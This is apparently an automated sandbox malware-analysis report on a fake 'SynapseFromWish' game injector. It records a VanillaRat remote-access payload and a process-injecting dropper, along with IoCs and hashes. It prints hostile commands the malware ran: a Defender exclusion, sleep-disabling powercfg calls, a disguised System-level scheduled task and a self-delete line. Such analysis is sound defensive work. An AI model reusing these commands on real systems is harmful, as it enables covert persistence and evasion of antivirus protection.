Analysis
-
max time kernel
112s -
max time network
113s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
12-09-2023 08:29
Behavioral task
behavioral1
Sample
SynapseFromWish/injector.exe
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
SynapseFromWish/injector.exe
Resource
win10v2004-20230831-en
Behavioral task
behavioral3
Sample
SynapseFromWish/release-v2.exe
Resource
win7-20230831-en
Behavioral task
behavioral4
Sample
SynapseFromWish/release-v2.exe
Resource
win10v2004-20230831-en
Behavioral task
behavioral5
Sample
SynapseFromWish/start.bat
Resource
win7-20230831-en
Behavioral task
behavioral6
Sample
SynapseFromWish/start.bat
Resource
win10v2004-20230831-en
Errors
General
-
Target
SynapseFromWish/start.bat
-
Size
52B
-
MD5
e078b3e0a3e8e4991e860eb41291c825
-
SHA1
29c7490038d188305c873d95794bb09a10c8e3fb
-
SHA256
5efe557c07c98300d0bd0b153f8e788cbbd26c25aa9eeef93848a2137bbf0782
-
SHA512
5881c68f281b2ab61a682b3bdf873aa2eb78f2f2dbdc7ae9a8317f6e9b2a6dc73c50c29af7d2d678f705b464985801bd6d9d7b58441cb9897d6fa851e4d9fc91
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs
Processes:
release-v2.exedescription pid process target process PID 2948 created 1248 2948 release-v2.exe Explorer.EXE PID 2948 created 1248 2948 release-v2.exe Explorer.EXE PID 2948 created 1248 2948 release-v2.exe Explorer.EXE PID 2948 created 1248 2948 release-v2.exe Explorer.EXE PID 2948 created 1248 2948 release-v2.exe Explorer.EXE PID 2948 created 1248 2948 release-v2.exe Explorer.EXE -
VanillaRat
VanillaRat is an advanced remote administration tool coded in C#.
-
Vanilla Rat payload 5 IoCs
Processes:
resource yara_rule behavioral5/memory/1396-0-0x0000000000D60000-0x0000000000D82000-memory.dmp vanillarat \Users\Admin\AppData\Roaming\injector.exe vanillarat C:\Users\Admin\AppData\Roaming\injector.exe vanillarat C:\Users\Admin\AppData\Roaming\injector.exe vanillarat behavioral5/memory/1704-12-0x0000000000EC0000-0x0000000000EE2000-memory.dmp vanillarat -
Drops file in Drivers directory 1 IoCs
Processes:
release-v2.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts release-v2.exe -
Executes dropped EXE 1 IoCs
Processes:
injector.exepid process 1704 injector.exe -
Loads dropped DLL 1 IoCs
Processes:
injector.exepid process 1396 injector.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
injector.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Windows\CurrentVersion\Run\injector = "C:\\Users\\Admin\\AppData\\Roaming\\injector.exe" injector.exe -
Drops file in System32 directory 17 IoCs
Processes:
WMIADAP.EXEpowershell.exepowershell.exedescription ioc process File created C:\Windows\system32\perfc00C.dat WMIADAP.EXE File created C:\Windows\system32\perfc011.dat WMIADAP.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\wbem\Performance\WmiApRpl_new.ini WMIADAP.EXE File created C:\Windows\system32\perfh009.dat WMIADAP.EXE File created C:\Windows\system32\perfc010.dat WMIADAP.EXE File created C:\Windows\system32\PerfStringBackup.TMP WMIADAP.EXE File created C:\Windows\system32\perfc007.dat WMIADAP.EXE File created C:\Windows\system32\perfc009.dat WMIADAP.EXE File created C:\Windows\system32\perfh010.dat WMIADAP.EXE File created C:\Windows\system32\perfc00A.dat WMIADAP.EXE File created C:\Windows\system32\perfh00A.dat WMIADAP.EXE File created C:\Windows\system32\perfh00C.dat WMIADAP.EXE File created C:\Windows\system32\perfh011.dat WMIADAP.EXE File opened for modification C:\Windows\system32\PerfStringBackup.INI WMIADAP.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File created C:\Windows\system32\perfh007.dat WMIADAP.EXE -
Suspicious use of SetThreadContext 1 IoCs
Processes:
release-v2.exedescription pid process target process PID 2948 set thread context of 2620 2948 release-v2.exe dialer.exe -
Drops file in Program Files directory 1 IoCs
Processes:
release-v2.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe release-v2.exe -
Drops file in Windows directory 3 IoCs
Processes:
WMIADAP.EXEdescription ioc process File created C:\Windows\inf\WmiApRpl\WmiApRpl.h WMIADAP.EXE File opened for modification C:\Windows\inf\WmiApRpl\WmiApRpl.h WMIADAP.EXE File created C:\Windows\inf\WmiApRpl\0009\WmiApRpl.ini WMIADAP.EXE -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
injector.exepid process 1396 injector.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
release-v2.exepowershell.exedialer.exepowershell.exepid process 2948 release-v2.exe 2948 release-v2.exe 2580 powershell.exe 2948 release-v2.exe 2948 release-v2.exe 2948 release-v2.exe 2948 release-v2.exe 2948 release-v2.exe 2948 release-v2.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2392 powershell.exe 2948 release-v2.exe 2948 release-v2.exe 2948 release-v2.exe 2948 release-v2.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe 2620 dialer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
injector.exepowershell.exedialer.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exesvchost.exedescription pid process Token: SeDebugPrivilege 1396 injector.exe Token: SeDebugPrivilege 2580 powershell.exe Token: SeDebugPrivilege 2620 dialer.exe Token: SeShutdownPrivilege 2488 powercfg.exe Token: SeShutdownPrivilege 3068 powercfg.exe Token: SeDebugPrivilege 2392 powershell.exe Token: SeShutdownPrivilege 2036 powercfg.exe Token: SeShutdownPrivilege 1692 powercfg.exe Token: SeAssignPrimaryTokenPrivilege 824 svchost.exe Token: SeIncreaseQuotaPrivilege 824 svchost.exe Token: SeSecurityPrivilege 824 svchost.exe Token: SeTakeOwnershipPrivilege 824 svchost.exe Token: SeLoadDriverPrivilege 824 svchost.exe Token: SeSystemtimePrivilege 824 svchost.exe Token: SeBackupPrivilege 824 svchost.exe Token: SeRestorePrivilege 824 svchost.exe Token: SeShutdownPrivilege 824 svchost.exe Token: SeSystemEnvironmentPrivilege 824 svchost.exe Token: SeUndockPrivilege 824 svchost.exe Token: SeManageVolumePrivilege 824 svchost.exe Token: SeAssignPrimaryTokenPrivilege 824 svchost.exe Token: SeIncreaseQuotaPrivilege 824 svchost.exe Token: SeSecurityPrivilege 824 svchost.exe Token: SeTakeOwnershipPrivilege 824 svchost.exe Token: SeLoadDriverPrivilege 824 svchost.exe Token: SeSystemtimePrivilege 824 svchost.exe Token: SeBackupPrivilege 824 svchost.exe Token: SeRestorePrivilege 824 svchost.exe Token: SeShutdownPrivilege 824 svchost.exe Token: SeSystemEnvironmentPrivilege 824 svchost.exe Token: SeUndockPrivilege 824 svchost.exe Token: SeManageVolumePrivilege 824 svchost.exe Token: SeAssignPrimaryTokenPrivilege 824 svchost.exe Token: SeIncreaseQuotaPrivilege 824 svchost.exe Token: SeSecurityPrivilege 824 svchost.exe Token: SeTakeOwnershipPrivilege 824 svchost.exe Token: SeLoadDriverPrivilege 824 svchost.exe Token: SeSystemtimePrivilege 824 svchost.exe Token: SeBackupPrivilege 824 svchost.exe Token: SeRestorePrivilege 824 svchost.exe Token: SeShutdownPrivilege 824 svchost.exe Token: SeSystemEnvironmentPrivilege 824 svchost.exe Token: SeUndockPrivilege 824 svchost.exe Token: SeManageVolumePrivilege 824 svchost.exe Token: SeAssignPrimaryTokenPrivilege 824 svchost.exe Token: SeIncreaseQuotaPrivilege 824 svchost.exe Token: SeSecurityPrivilege 824 svchost.exe Token: SeTakeOwnershipPrivilege 824 svchost.exe Token: SeLoadDriverPrivilege 824 svchost.exe Token: SeSystemtimePrivilege 824 svchost.exe Token: SeBackupPrivilege 824 svchost.exe Token: SeRestorePrivilege 824 svchost.exe Token: SeShutdownPrivilege 824 svchost.exe Token: SeSystemEnvironmentPrivilege 824 svchost.exe Token: SeUndockPrivilege 824 svchost.exe Token: SeManageVolumePrivilege 824 svchost.exe Token: SeAssignPrimaryTokenPrivilege 824 svchost.exe Token: SeIncreaseQuotaPrivilege 824 svchost.exe Token: SeSecurityPrivilege 824 svchost.exe Token: SeTakeOwnershipPrivilege 824 svchost.exe Token: SeLoadDriverPrivilege 824 svchost.exe Token: SeSystemtimePrivilege 824 svchost.exe Token: SeBackupPrivilege 824 svchost.exe Token: SeRestorePrivilege 824 svchost.exe -
Suspicious use of WriteProcessMemory 57 IoCs
Processes:
cmd.exeinjector.exerelease-v2.execmd.exedialer.exepowershell.exewinlogon.execmd.exedescription pid process target process PID 2172 wrote to memory of 1396 2172 cmd.exe injector.exe PID 2172 wrote to memory of 1396 2172 cmd.exe injector.exe PID 2172 wrote to memory of 1396 2172 cmd.exe injector.exe PID 2172 wrote to memory of 1396 2172 cmd.exe injector.exe PID 1396 wrote to memory of 1704 1396 injector.exe injector.exe PID 1396 wrote to memory of 1704 1396 injector.exe injector.exe PID 1396 wrote to memory of 1704 1396 injector.exe injector.exe PID 1396 wrote to memory of 1704 1396 injector.exe injector.exe PID 2172 wrote to memory of 2948 2172 cmd.exe release-v2.exe PID 2172 wrote to memory of 2948 2172 cmd.exe release-v2.exe PID 2172 wrote to memory of 2948 2172 cmd.exe release-v2.exe PID 2948 wrote to memory of 2620 2948 release-v2.exe dialer.exe PID 2760 wrote to memory of 2488 2760 cmd.exe powercfg.exe PID 2760 wrote to memory of 2488 2760 cmd.exe powercfg.exe PID 2760 wrote to memory of 2488 2760 cmd.exe powercfg.exe PID 2760 wrote to memory of 3068 2760 cmd.exe powercfg.exe PID 2760 wrote to memory of 3068 2760 cmd.exe powercfg.exe PID 2760 wrote to memory of 3068 2760 cmd.exe powercfg.exe PID 2620 wrote to memory of 420 2620 dialer.exe winlogon.exe PID 2620 wrote to memory of 468 2620 dialer.exe services.exe PID 2392 wrote to memory of 1980 2392 powershell.exe schtasks.exe PID 2392 wrote to memory of 1980 2392 powershell.exe schtasks.exe PID 2392 wrote to memory of 1980 2392 powershell.exe schtasks.exe PID 2760 wrote to memory of 2036 2760 cmd.exe powercfg.exe PID 2760 wrote to memory of 2036 2760 cmd.exe powercfg.exe PID 2760 wrote to memory of 2036 2760 cmd.exe powercfg.exe PID 2620 wrote to memory of 476 2620 dialer.exe lsass.exe PID 2760 wrote to memory of 1692 2760 cmd.exe powercfg.exe PID 2760 wrote to memory of 1692 2760 cmd.exe powercfg.exe PID 2760 wrote to memory of 1692 2760 cmd.exe powercfg.exe PID 2620 wrote to memory of 484 2620 dialer.exe lsm.exe PID 420 wrote to memory of 1112 420 winlogon.exe wlrmdr.exe PID 420 wrote to memory of 1112 420 winlogon.exe wlrmdr.exe PID 420 wrote to memory of 1112 420 winlogon.exe wlrmdr.exe PID 2392 wrote to memory of 788 2392 powershell.exe wermgr.exe PID 2392 wrote to memory of 788 2392 powershell.exe wermgr.exe PID 2392 wrote to memory of 788 2392 powershell.exe wermgr.exe PID 2620 wrote to memory of 1112 2620 dialer.exe wlrmdr.exe PID 2620 wrote to memory of 576 2620 dialer.exe svchost.exe PID 2620 wrote to memory of 656 2620 dialer.exe svchost.exe PID 464 wrote to memory of 2924 464 cmd.exe choice.exe PID 464 wrote to memory of 2924 464 cmd.exe choice.exe PID 464 wrote to memory of 2924 464 cmd.exe choice.exe PID 2620 wrote to memory of 736 2620 dialer.exe svchost.exe PID 2620 wrote to memory of 796 2620 dialer.exe svchost.exe PID 2620 wrote to memory of 824 2620 dialer.exe svchost.exe PID 2620 wrote to memory of 944 2620 dialer.exe svchost.exe PID 2620 wrote to memory of 1004 2620 dialer.exe svchost.exe PID 2620 wrote to memory of 968 2620 dialer.exe spoolsv.exe PID 2620 wrote to memory of 996 2620 dialer.exe svchost.exe PID 2620 wrote to memory of 1136 2620 dialer.exe taskhost.exe PID 2620 wrote to memory of 1216 2620 dialer.exe Dwm.exe PID 2620 wrote to memory of 1248 2620 dialer.exe Explorer.EXE PID 2620 wrote to memory of 2300 2620 dialer.exe svchost.exe PID 2620 wrote to memory of 3052 2620 dialer.exe sppsvc.exe PID 2620 wrote to memory of 1992 2620 dialer.exe WMIADAP.EXE PID 2620 wrote to memory of 1112 2620 dialer.exe wlrmdr.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R3⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵
-
C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵
-
C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wlrmdr.exe-s -1 -f 2 -t You are about to be logged off -m Windows has encountered a critical problem and will restart automatically in one minute. Please save your work now. -a 32⤵
-
C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\SynapseFromWish\start.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SynapseFromWish\injector.exeinjector.exe3⤵
- Loads dropped DLL
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\injector.exe"C:\Users\Admin\AppData\Roaming\injector.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\SynapseFromWish\release-v2.exerelease-v2.exe3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#eszkltr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "2392" "1156"3⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\SynapseFromWish\release-v2.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\OutofProcReport259464330.txtFilesize
1KB
MD5f49f124f7205f3036892ef5c4a93e91a
SHA16d11df08812a6efb24f227c7a03849afd64e3bc6
SHA256176827532d69b3ed443938c14d2ff4ec43d746400306a63dbb5b9e2a7f71de93
SHA5120fe3138b3470c76458ddf0f3d1e94647d61c4a5f491730a74ec20a52437d168a8dae1505a2f99cdc4cec77d2a4f4142124ccd89e1e36cbabb87495549de26338
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD567199f77f5d63ca7af780de75fae3fbd
SHA18d5550d32903376bc685412979599fcbde2a3170
SHA2563b1be4d7ccc93349a22948d4c0850ea7a53b990b091368000e97e1e46b42b327
SHA5124e8ba2e6331a23668baf1dfecb65f8eae8dce6de9af9edc7c5039e6e1ba9d8a4f129425373bdd0ed46977c9c3e8662ab9c22a5364eea9f70facf7019da28266e
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XHQ3FLBT3NF46933G7RZ.tempFilesize
7KB
MD567199f77f5d63ca7af780de75fae3fbd
SHA18d5550d32903376bc685412979599fcbde2a3170
SHA2563b1be4d7ccc93349a22948d4c0850ea7a53b990b091368000e97e1e46b42b327
SHA5124e8ba2e6331a23668baf1dfecb65f8eae8dce6de9af9edc7c5039e6e1ba9d8a4f129425373bdd0ed46977c9c3e8662ab9c22a5364eea9f70facf7019da28266e
-
C:\Users\Admin\AppData\Roaming\injector.exeFilesize
114KB
MD5311b5c55bcd7a7bf987d264a3904770e
SHA17df136430c19887e24cff480d6346dc9e75d2029
SHA256680d7600e0985ce1ec135784b11cf8eef62d4e6dcb540ccc082e339dffa89504
SHA512686a8041c9c1edb40e86439052813e78dab7b86e6d02b35268cf65780046ba164d3a26481c34247beac9c4518e4f69ceb5228e9f7af378ad83a5449e9573b271
-
C:\Users\Admin\AppData\Roaming\injector.exeFilesize
114KB
MD5311b5c55bcd7a7bf987d264a3904770e
SHA17df136430c19887e24cff480d6346dc9e75d2029
SHA256680d7600e0985ce1ec135784b11cf8eef62d4e6dcb540ccc082e339dffa89504
SHA512686a8041c9c1edb40e86439052813e78dab7b86e6d02b35268cf65780046ba164d3a26481c34247beac9c4518e4f69ceb5228e9f7af378ad83a5449e9573b271
-
C:\Windows\System32\perfc007.datFilesize
141KB
MD50f3d76321f0a7986b42b25a3aa554f82
SHA17036bba62109cc25da5d6a84d22b6edb954987c0
SHA256dfad62e3372760d303f7337fe290e4cb28e714caadd3c59294b77968d81fe460
SHA512bb02a3f14d47d233fbda046f61bbf5612ebc6213b156af9c47f56733a03df1bb484d1c3576569eb4499d7b378eb01f4d6e906c36c6f71738482584c2e84b47d0
-
C:\Windows\System32\perfc00A.datFilesize
154KB
MD5f0ecfbfa3e3e59fd02197018f7e9cb84
SHA1961e9367a4ef3a189466c0a0a186faf8958bdbc4
SHA256cfa293532a1b865b95093437d82bf8b682132aa335957f0c6d95edfbcc372324
SHA512116e648cb3b591a6a94da5ef11234778924a2ff9e0b3d7f6f00310d8a58914d12f5ee1b63c2f88701bb00538ad0e42ae2561575333c5a1d63bb8c86863ac6294
-
C:\Windows\System32\perfc00C.datFilesize
145KB
MD5ce233fa5dc5adcb87a5185617a0ff6ac
SHA12e2747284b1204d3ab08733a29fdbabdf8dc55b9
SHA25668d4de5e72cfd117151c44dd6ec74cf46fafd6c51357895d3025d7dac570ce31
SHA5121e9c8e7f12d7c87b4faa0d587a8b374e491cd44f23e13fdb64bde3bc6bf3f2a2d3aba5444a13b199a19737a8170ee8d4ead17a883fbaee66b8b32b35b7577fc2
-
C:\Windows\System32\perfc010.datFilesize
142KB
MD5d73172c6cb697755f87cd047c474cf91
SHA1abc5c7194abe32885a170ca666b7cce8251ac1d6
SHA2569de801eebbe32699630f74082c9adea15069acd5afb138c9ecd5d4904e3cdc57
SHA5127c9e4126bed6bc94a211281eed45cee30452519f125b82b143f78da32a3aac72d94d31757e1da22fb2f8a25099ffddec992e2c60987efb9da9b7a17831eafdf6
-
C:\Windows\System32\perfc011.datFilesize
114KB
MD51f998386566e5f9b7f11cc79254d1820
SHA1e1da5fe1f305099b94de565d06bc6f36c6794481
SHA2561665d97fb8786b94745295feb616a30c27af84e8a5e1d25cd1bcaf70723040ea
SHA512a7c9702dd5833f4d6d27ce293efb9507948a3b05db350fc9909af6a48bd649c7578f856b4d64d87df451d0efbe202c62da7fffcac03b3fe72c7caaea553de75f
-
C:\Windows\System32\perfh007.datFilesize
680KB
MD5b69ab3aeddb720d6ef8c05ff88c23b38
SHA1d830c2155159656ed1806c7c66cae2a54a2441fa
SHA25624c81302014118e07ed97eaac0819ecf191e0cc3d69c02b16ecda60ac4718625
SHA5124c7a99d45fb6e90c206439dcdd7cd198870ea5397a6584bb666eed53a8dc36faaac0b9cfc786a3ab4ecbbecc3a4ddd91560246d83b3319f2e37c1ed4bdbec32d
-
C:\Windows\System32\perfh009.datFilesize
646KB
MD5aecab86cc5c705d7a036cba758c1d7b0
SHA1e88cf81fd282d91c7fc0efae13c13c55f4857b5e
SHA2569bab92e274fcc0af88a7fdd143c9045b9d3a13cac2c00b63f00b320128dcc066
SHA512e0aa8da41373fc64d0e3dc86c9e92a9dd5232f6bcae42dfe6f79012d7e780de85511a9ec6941cb39476632972573a18063d3ecd8b059b1d008d34f585d9edbe8
-
C:\Windows\System32\perfh00A.datFilesize
727KB
MD57d0bac4e796872daa3f6dc82c57f4ca8
SHA1b4f6bbe08fa8cd0784a94ac442ff937a3d3eea0a
SHA256ce2ef9fc248965f1408d4b7a1e6db67494ba07a7bbdfa810418b30be66ad5879
SHA512145a0e8543e0d79fe1a5ce268d710c807834a05da1e948f84d6a1818171cd4ef077ea44ba1fe439b07b095721e0109cbf7e4cfd7b57519ee44d9fd9fe1169a3e
-
C:\Windows\System32\perfh00C.datFilesize
727KB
MD55f684ce126de17a7d4433ed2494c5ca9
SHA1ce1a30a477daa1bac2ec358ce58731429eafe911
SHA2562e2ba0c47e71991d646ec380cde47f44318d695e6f3f56ec095955a129af1c2c
SHA5124d0c2669b5002da14d44c21dc2f521fb37b6b41b61bca7b2a9af7c03f616dda9ca825f79a81d3401af626a90017654f9221a6ccc83010ff73de71967fc2f3f5b
-
C:\Windows\System32\perfh010.datFilesize
722KB
MD54623482c106cf6cc1bac198f31787b65
SHA15abb0decf7b42ef5daf7db012a742311932f6dad
SHA256eceda45aedbf6454b79f010c891bead3844d43189972f6beeb5ccddb13cc0349
SHA512afecefcec652856dd8b4275f11d75a68a582337b682309c4b61fd26ed7038b92e6b9aa72c1bfc350ce2caf5e357098b54eb1e448a4392960f9f82e01c447669f
-
C:\Windows\System32\perfh011.datFilesize
406KB
MD554c674d19c0ff72816402f66f6c3d37c
SHA12dcc0269545a213648d59dc84916d9ec2d62a138
SHA256646d4ea2f0670691aa5b998c26626ede7623886ed3ac9bc9679018f85e584bb5
SHA5124d451e9bef2c451cb9e86c7f4d705be65787c88df5281da94012bfbe5af496718ec3e48099ec3dff1d06fee7133293f10d649866fe59daa7951aebe2e5e67c1f
-
C:\Windows\System32\wbem\Performance\WmiApRpl.iniFilesize
27KB
MD546d08e3a55f007c523ac64dce6dcf478
SHA162edf88697e98d43f32090a2197bead7e7244245
SHA2565b15b1fc32713447c3fbc952a0fb02f1fd78c6f9ac69087bdb240625b0282614
SHA512b1f42e70c0ba866a9ed34eb531dbcbae1a659d7349c1e1a14b18b9e23d8cbd302d8509c6d3a28bc7509dd92e83bcb400201fb5d5a70f613421d81fe649d02e42
-
\Users\Admin\AppData\Roaming\injector.exeFilesize
114KB
MD5311b5c55bcd7a7bf987d264a3904770e
SHA17df136430c19887e24cff480d6346dc9e75d2029
SHA256680d7600e0985ce1ec135784b11cf8eef62d4e6dcb540ccc082e339dffa89504
SHA512686a8041c9c1edb40e86439052813e78dab7b86e6d02b35268cf65780046ba164d3a26481c34247beac9c4518e4f69ceb5228e9f7af378ad83a5449e9573b271
-
memory/420-40-0x000007FEBD1F0000-0x000007FEBD200000-memory.dmpFilesize
64KB
-
memory/420-41-0x0000000036F10000-0x0000000036F20000-memory.dmpFilesize
64KB
-
memory/420-37-0x0000000000750000-0x0000000000777000-memory.dmpFilesize
156KB
-
memory/420-35-0x0000000000720000-0x0000000000741000-memory.dmpFilesize
132KB
-
memory/420-28-0x0000000000720000-0x0000000000741000-memory.dmpFilesize
132KB
-
memory/468-42-0x00000000000B0000-0x00000000000D7000-memory.dmpFilesize
156KB
-
memory/468-44-0x000007FEBD1F0000-0x000007FEBD200000-memory.dmpFilesize
64KB
-
memory/468-46-0x0000000036F10000-0x0000000036F20000-memory.dmpFilesize
64KB
-
memory/476-52-0x0000000000160000-0x0000000000187000-memory.dmpFilesize
156KB
-
memory/476-50-0x0000000000160000-0x0000000000187000-memory.dmpFilesize
156KB
-
memory/484-64-0x000007FEBD1F0000-0x000007FEBD200000-memory.dmpFilesize
64KB
-
memory/484-60-0x0000000000450000-0x0000000000477000-memory.dmpFilesize
156KB
-
memory/484-66-0x0000000036F10000-0x0000000036F20000-memory.dmpFilesize
64KB
-
memory/576-70-0x00000000002C0000-0x00000000002E7000-memory.dmpFilesize
156KB
-
memory/576-76-0x000007FEBD1F0000-0x000007FEBD200000-memory.dmpFilesize
64KB
-
memory/576-77-0x0000000036F10000-0x0000000036F20000-memory.dmpFilesize
64KB
-
memory/656-80-0x00000000004A0000-0x00000000004C7000-memory.dmpFilesize
156KB
-
memory/656-82-0x000007FEBD1F0000-0x000007FEBD200000-memory.dmpFilesize
64KB
-
memory/656-84-0x0000000036F10000-0x0000000036F20000-memory.dmpFilesize
64KB
-
memory/736-90-0x000007FEBD1F0000-0x000007FEBD200000-memory.dmpFilesize
64KB
-
memory/736-87-0x00000000009C0000-0x00000000009E7000-memory.dmpFilesize
156KB
-
memory/736-93-0x0000000036F10000-0x0000000036F20000-memory.dmpFilesize
64KB
-
memory/796-100-0x0000000036F10000-0x0000000036F20000-memory.dmpFilesize
64KB
-
